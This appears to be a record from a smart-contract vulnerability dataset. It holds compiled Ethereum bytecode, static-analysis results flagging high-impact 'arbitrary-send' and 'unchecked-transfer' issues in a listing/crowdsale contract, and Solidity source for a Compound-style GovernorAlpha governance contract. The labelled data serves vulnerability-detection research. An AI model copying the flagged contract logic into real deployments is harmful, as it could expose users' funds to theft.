3918291908401908083835b60208310610e665780518252601f199092019160209182019101610e47565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820181815260248301948552604483018a90529095508994508893909250906064018484808284378201915050945050505050600060405180830381600087803b158015610eef57600080fd5b505af1158015610f03573d6000803e3d6000fd5b50506001546040517f78576a91000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660448301523360648301819052608060048401908152600e60848501527f4e6577206173736574206970667300000000000000000000000000000000000060a485015260c06024850190815260c485018990529290941695506378576a919450879387938a93829160e40187878082843782019150509650505050505050600060405180830381600087803b158015610fd157600080fd5b505af1158015610fe5573d6000803e3d6000fd5b50505050505050565b6000806000806000806000806000806000809054906101000a9004600160a060020a0316600160a060020a031663a855d4ce60405160200180807f706c6174666f726d2e6c697374696e674665650000000000000000000000000081525060130190506040516020818303038152906040526040518082805190602001908083835b6020831061108f5780518252601f199092019160209182019101611070565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156110f057600080fd5b505af1158015611104573d6000803e3d6000fd5b505050506040513d602081101561111a57600080fd5b5051600054604080517f706c6174666f726d2e6c697374696e67466565546f6b656e0000000000000000602082810191909152825180830360180181526038909201928390528151949d50600160a060020a03909316936304f49a3a939192918291908401908083835b602083106111a35780518252601f199092019160209182019101611184565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561120457600080fd5b505af1158015611218573d6000803e3d6000fd5b505050506040513d602081101561122e57600080fd5b5051600054604080517f706c6174666f726d2e77616c6c65742e66756e64730000000000000000000000602082810191909152825180830360150181526035909201928390528151949c50600160a060020a03909316936304f49a3a939192918291908401908083835b602083106112b75780518252601f199092019160209182019101611298565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561131857600080fd5b505af115801561132c573d6000803e3d6000fd5b505050506040513d602081101561134257600080fd5b50519650600160a060020a038c81169089161461180857600254604080517f809a9e55000000000000000000000000000000000000000000000000000000008152600160a060020a038b811660048301528f81166024830152604482018d9052825193169263809a9e55926064808401939192918290030181600087803b1580156113cc57600080fd5b505af11580156113e0573d6000803e3d6000fd5b505050506040513d60408110156113f657600080fd5b50519250670b1a2bc2ec500000898402049150600160a060020a038c1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156114eb576002546040805160e060020a63cb3c28c7028152600160a060020a038f81166004830152602482018690528b811660448301528a81166064830152608482018d9052600060a4830181905260c4830152915130319850929091169163cb3c28c791859160e480830192602092919082900301818588803b1580156114b157600080fd5b505af11580156114c5573d6000803e3d6000fd5b50505050506040513d60208110156114dc57600080fd5b50513031860396509350611803565b50604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290518c91600160a060020a038316916370a08231916024808201926020929091908290030181600087803b15801561155057600080fd5b505af1158015611564573d6000803e3d6000fd5b505050506040513d602081101561157a57600080fd5b5051600254604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810186905290519297509083169163095ea7b3916044808201926020929091908290030181600087803b1580156115ee57600080fd5b505af1158015611602573d6000803e3d6000fd5b505050506040513d602081101561161857600080fd5b5051151561162557600080fd5b6002546040805160e060020a63cb3c28c7028152600160a060020a038f81166004830152602482018690528b811660448301528a81166064830152608482018d9052600060a4830181905260c48301819052925193169263cb3c28c79260e480840193602093929083900390910190829087803b1580156116a557600080fd5b505af11580156116b9573d6000803e3d6000fd5b505050506040513d60208110156116cf57600080fd5b5051600254604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260006024820181905291519397509184169263095ea7b3926044808201936020939283900390910190829087803b15801561174557600080fd5b505af1158015611759573d6000803e3d6000fd5b505050506040513d602081101561176f57600080fd5b5050604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038316916370a082319160248083019260209291908290030181600087803b1580156117d257600080fd5b505af11580156117e6573d6000803e3d6000fd5b505050506040513d60208110156117fc57600080fd5b5051850395505b6118fe565b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038881166004830152602482018b905291518d9283169163a9059cbb9160448083019260209291908290030181600087803b15801561187557600080fd5b505af1158015611889573d6000803e3d6000fd5b505050506040513d602081101561189f57600080fd5b505115156118f7576040805160e560020a62461bcd02815260206004820152601460248201527f4c697374696e6720666565206e6f742070616964000000000000000000000000604482015290519081900360640190fd5b8895508893505b858b1015801561190e5750888410155b1515611964576040805160e560020a62461bcd02815260206004820152601460248201527f4c697374696e6720666565206e6f742070616964000000000000000000000000604482015290519081900360640190fd5b50505091909603979650505050505050565b60008054604080517f63726f776473616c652e73746172740000000000000000000000000000000000602080830191909152600160a060020a03888116606060020a02602f84015283518084036023018152604390930193849052825194169363e2a4853a93918291908401908083835b60208310611a065780518252601f1990920191602091820191016119e7565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152426024820152915160448084019550600094509092839003019050818387803b158015611a7157600080fd5b505af1158015611a85573d6000803e3d6000fd5b5050600054604080517f63726f776473616c652e646561646c696e650000000000000000000000000000602080830191909152600160a060020a038a8116606060020a0260328401528351808403602601815260469093019384905282519416955063e2a4853a9450909282918401908083835b60208310611b185780518252601f199092019160209182019101611af9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020611b58864261303190919063ffffffff16565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b158015611ba057600080fd5b505af1158015611bb4573d6000803e3d6000fd5b5050600054604080517f63726f776473616c652e676f616c000000000000000000000000000000000000602080830191909152600160a060020a038a8116606060020a02602e8401528351808403602201815260429093019384905282519416955063e2a4853a9450909282918401908083835b60208310611c475780518252601f199092019160209182019101611c28565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260248101899052915160448084019550600094509092839003019050818387803b158015611cb357600080fd5b505af1158015611cc7573d6000803e3d6000fd5b5050600054604080517f63726f776473616c652e72656d61696e696e6700000000000000000000000000602080830191909152600160a060020a038a8116606060020a0260338401528351808403602701815260479093019384905282519416955063e2a4853a9450909282918401908083835b60208310611d5a5780518252601f199092019160209182019101611d3b565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206000547f706c6174666f726d2e6665650000000000000000000000000000000000000000848401528551600c818603018152602c909401958690528351919750611ec09650606495611eb49550611ea794600160a060020a039092169363a855d4ce9382918401908083835b60208310611e0c5780518252601f199092019160209182019101611ded565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015611e6d57600080fd5b505af1158015611e81573d6000803e3d6000fd5b505050506040513d6020811015611e9757600080fd5b505160649063ffffffff61303116565b889063ffffffff61304b16565b9063ffffffff61307616565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b158015611f0857600080fd5b505af1158015611f1c573d6000803e3d6000fd5b506001979650505050505050565b60008054604080517f706c6174666f726d2e70657263656e746167650000000000000000000000000060208083019190915282518083036013018152603390920192839052815185946120709461205f94600160a060020a039092169363a855d4ce9382918401908083835b60208310611fb55780518252601f199092019160209182019101611f96565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561201657600080fd5b505af115801561202a573d6000803e3d6000fd5b505050506040513d602081101561204057600080fd5b505161205360648963ffffffff61308b16565b9063ffffffff61308b16565b611eb486606463ffffffff61304b16565b600054604080517f61737365742e6d616e61676572546f6b656e7300000000000000000000000000602080830191909152600160a060020a038e8116606060020a0260338401528351808403602701815260479093019384905282519596509093169363e2a4853a939192918291908401908083835b602083106121055780518252601f1990920191602091820191016120e6565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020612145888561309d90919063ffffffff16565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b15801561218d57600080fd5b505af11580156121a1573d6000803e3d6000fd5b505050506000809054906101000a9004600160a060020a0316600160a060020a031663e2a4853a8a60405160200180807f61737365742e706c6174666f726d546f6b656e7300000000000000000000000081525060140182600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106122575780518252601f199092019160209182019101612238565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206000547f706c6174666f726d2e70657263656e7461676500000000000000000000000000848401528551601381860301815260339094019586905283519197506123989650600160a060020a03169463a855d4ce9450918291908401908083835b602083106122fe5780518252601f1990920191602091820191016122df565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561235f57600080fd5b505af1158015612373573d6000803e3d6000fd5b505050506040513d602081101561238957600080fd5b5051859063ffffffff61309d16565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b1580156123e057600080fd5b505af11580156123f4573d6000803e3d6000fd5b505050506000809054906101000a9004600160a060020a0316600160a060020a031663ca446dd98a60405160200180807f61737365742e6d616e6167657200000000000000000000000000000000000000815250600d0182600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106124aa5780518252601f19909201916020918201910161248b565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152600160a060020a038d166024820152915160448084019550600094509092839003019050818387803b15801561251e57600080fd5b505af1158015612532573d6000803e3d6000fd5b505050506000809054906101000a9004600160a060020a0316600160a060020a0316636e8995508a60405160200180807f61737365742e6970667300000000000000000000000000000000000000000000815250600a0182600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106125e85780518252601f1990920191602091820191016125c9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020896040518363ffffffff1660e060020a02815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561267357818101518382015260200161265b565b50505050905090810190601f1680156126a05780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b1580156126c057600080fd5b505af11580156126d4573d6000803e3d6000fd5b50506000546040517f61737365742e757269000000000000000000000000000000000000000000000060208083019182528d51600160a060020a03909416955063abfdcced94508d93919260290191908401908083835b6020831061274a5780518252601f19909201916020918201910161272b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083106127ad5780518252601f19909201916020918201910161278e565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260016024820152915160448084019550600094509092839003019050818387803b15801561281957600080fd5b505af115801561282d573d6000803e3d6000fd5b5060019c9b505050505050505050505050565b6000806000806000888a6040516020018083600160a060020a0316600160a060020a0316606060020a02815260140182600160a060020a0316600160a060020a0316606060020a028152601401925050506040516020818303038152906040526040518082805190602001908083835b602083106128cf5780518252601f1990920191602091820191016128b0565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206000547f706c6174666f726d2e746f6b656e000000000000000000000000000000000000848401528551600e818603018152602e909401958690528351919a50600160a060020a031696506304f49a3a9550919392508291908401908083835b602083106129755780518252601f199092019160209182019101612956565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156129d657600080fd5b505af11580156129ea573d6000803e3d6000fd5b505050506040513d6020811015612a0057600080fd5b50519150600160a060020a0388811690831614612c8557600160a060020a03881673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415612b0d576002546040805160e060020a63cb3c28c7028152600160a060020a038b81166004830152602482018a905285811660448301523060648301527f80000000000000000000000000000000000000000000000000000000000000006084830152600060a4830181905260c48301529151919092169163cb3c28c791899160e48082019260209290919082900301818588803b158015612ad957600080fd5b505af1158015612aed573d6000803e3d6000fd5b50505050506040513d6020811015612b0457600080fd5b50519350612c80565b50600254604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018890529051899283169163095ea7b39160448083019260209291908290030181600087803b158015612b7d57600080fd5b505af1158015612b91573d6000803e3d6000fd5b505050506040513d6020811015612ba757600080fd5b50511515612bb457600080fd5b6002546040805160e060020a63cb3c28c7028152600160a060020a038b81166004830152602482018a905285811660448301523060648301527f80000000000000000000000000000000000000000000000000000000000000006084830152600060a4830181905260c48301819052925193169263cb3c28c79260e480840193602093929083900390910190829087803b158015612c5157600080fd5b505af1158015612c65573d6000803e3d6000fd5b505050506040513d6020811015612c7b57600080fd5b505193505b612c89565b8593505b600054604080517f636f6e74726163740000000000000000000000000000000000000000000000006020808301919091527f457363726f7752657365727665000000000000000000000000000000000000006028830152825160158184030181526035909201928390528151600160a060020a038088169563a9059cbb959116936304f49a3a93909282918401908083835b60208310612d3a5780518252601f199092019160209182019101612d1b565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015612d9b57600080fd5b505af1158015612daf573d6000803e3d6000fd5b505050506040513d6020811015612dc557600080fd5b50516040805160e060020a63ffffffff8516028152600160a060020a039092166004830152602482018890525160448083019260209291908290030181600087803b158015612e1357600080fd5b505af1158015612e27573d6000803e3d6000fd5b505050506040513d6020811015612e3d57600080fd5b50511515612e4a57600080fd5b600054604080517f61737365742e657363726f770000000000000000000000000000000000000000602080830191909152602c80830188905283518084039091018152604c909201928390528151600160a060020a039094169363e2a4853a93918291908401908083835b60208310612ed45780518252601f199092019160209182019101612eb5565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152602481018b9052915160448084019550600094509092839003019050818387803b158015612f4057600080fd5b505af1158015612f54573d6000803e3d6000fd5b5050600154604080517f0b94df4c000000000000000000000000000000000000000000000000000000008152600160a060020a038e81166024830152604482018990528f81166064830152608482018a905260a06004830152600d60a48301527f457363726f77206c6f636b65640000000000000000000000000000000000000060c48301529151919092169350630b94df4c925060e480830192600092919082900301818387803b15801561300957600080fd5b505af115801561301d573d6000803e3d6000fd5b5060019d9c50505050505050505050505050565b60008282018381101561304057fe5b8091505b5092915050565b60008083151561305e5760009150613044565b5082820282848281151561306e57fe5b041461304057fe5b6000818381151561308357fe5b049392505050565b60008282111561309757fe5b50900390565b60006130b36130ac848461304b565b6064613076565b93925050505600a165627a7a72305820d9fb4c186a3748e316b5a98e7aad86b3b92f0309ed78901c7ef4e1e4b32939f20029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,797
0x3c194F3f36eceB630529AdBe4ba4Ed4210ADE5F7
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract GovernorAlpha { /// @notice The name of this contract string public constant name = "Drops NFT Loans Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 2000000e18; } // 2,000,000 = 4% of DOP /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 500000e18; } // 500,000 = 1% of DOP /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Drops NFT Loans Protocol Timelock TimelockInterface public timelock; /// @notice The address of the DOP governance token CompInterface public comp; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address comp_, address guardian_) public { timelock = TimelockInterface(timelock_); comp = CompInterface(comp_); guardian = guardian_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = comp.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface CompInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x60806040526004361061019c5760003560e01c8063452a9320116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b00914610456578063deaaa7cc14610476578063e23a9a521461048b578063fe0d94c1146104b85761019c565b8063d33219b41461040c578063da35c66414610421578063da95691a146104365761019c565b80637bdbe4d0116100c65780637bdbe4d0146103ad57806391500671146103c2578063b58131b0146103e2578063b9a61961146103f75761019c565b8063452a9320146103635780634634c61f14610378578063760fbc13146103985761019c565b806320606b7011610159578063328dd98211610133578063328dd982146102d15780633932abb1146103015780633e4f49e61461031657806340e58ee5146103435761019c565b806320606b701461028757806321f43e421461029c57806324bc1a64146102bc5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde0314610201578063109d0af81461022357806315373e3d1461024557806317977c6114610267575b600080fd5b3480156101ad57600080fd5b506101c16101bc3660046123d2565b6104cb565b6040516101d6999897969594939291906130a8565b60405180910390f35b3480156101eb57600080fd5b506101f4610524565b6040516101d691906127f5565b34801561020d57600080fd5b5061021661052a565b6040516101d6919061286c565b34801561022f57600080fd5b50610238610563565b6040516101d6919061264e565b34801561025157600080fd5b50610265610260366004612416565b610572565b005b34801561027357600080fd5b506101f461028236600461221a565b610581565b34801561029357600080fd5b506101f4610593565b3480156102a857600080fd5b506102656102b7366004612235565b6105b7565b3480156102c857600080fd5b506101f461069e565b3480156102dd57600080fd5b506102f16102ec3660046123d2565b6106ad565b6040516101d6949392919061279d565b34801561030d57600080fd5b506101f461093c565b34801561032257600080fd5b506103366103313660046123d2565b610941565b6040516101d69190612858565b34801561034f57600080fd5b5061026561035e3660046123d2565b610acb565b34801561036f57600080fd5b50610238610d34565b34801561038457600080fd5b50610265610393366004612445565b610d43565b3480156103a457600080fd5b50610265610efc565b3480156103b957600080fd5b506101f4610f38565b3480156103ce57600080fd5b506102656103dd366004612235565b610f3d565b3480156103ee57600080fd5b506101f4611012565b34801561040357600080fd5b50610265611020565b34801561041857600080fd5b506102386110a5565b34801561042d57600080fd5b506101f46110b4565b34801561044257600080fd5b506101f461045136600461225f565b6110ba565b34801561046257600080fd5b506102656104713660046123d2565b6114da565b34801561048257600080fd5b506101f4611744565b34801561049757600080fd5b506104ab6104a63660046123ea565b611768565b6040516101d69190612fe2565b6102656104c63660046123d2565b6117d7565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b61438090565b6040518060400160405280601e81526020017f44726f7073204e4654204c6f616e7320476f7665726e6f7220416c706861000081525081565b6001546001600160a01b031681565b61057d33838361199c565b5050565b60056020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6002546001600160a01b031633146105ea5760405162461bcd60e51b81526004016105e1906129b1565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f9183919061061490879060200161264e565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610643949392919061267b565b600060405180830381600087803b15801561065d57600080fd5b505af1158015610671573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610699919081019061235f565b505050565b6a01a784379d99db4200000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561072f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610711575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561078157602002820191906000526020600020905b81548152602001906001019080831161076d575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108545760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108405780601f1061081557610100808354040283529160200191610840565b820191906000526020600020905b81548152906001019060200180831161082357829003601f168201915b5050505050815260200190600101906107a9565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109265760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156109125780601f106108e757610100808354040283529160200191610912565b820191906000526020600020905b8154815290600101906020018083116108f557829003601f168201915b50505050508152602001906001019061087b565b5050505090509450945094509450509193509193565b600190565b600081600354101580156109555750600082115b6109715760405162461bcd60e51b81526004016105e190612a23565b6000828152600460205260409020600b81015460ff1615610996576002915050610ac6565b806007015443116109ab576000915050610ac6565b806008015443116109c0576001915050610ac6565b80600a015481600901541115806109e157506109da61069e565b8160090154105b156109f0576003915050610ac6565b6002810154610a03576004915050610ac6565b600b810154610100900460ff1615610a1f576007915050610ac6565b610ab0816002015460008054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7357600080fd5b505afa158015610a87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aab9190612347565b611b65565b4210610ac0576006915050610ac6565b60059150505b919050565b6000610ad682610941565b90506007816007811115610ae657fe5b1415610b045760405162461bcd60e51b81526004016105e190612ebd565b60008281526004602052604090206002546001600160a01b0316331480610bcf5750610b2e611012565b60018054838201546001600160a01b039182169263782d6fe19290911690610b57904390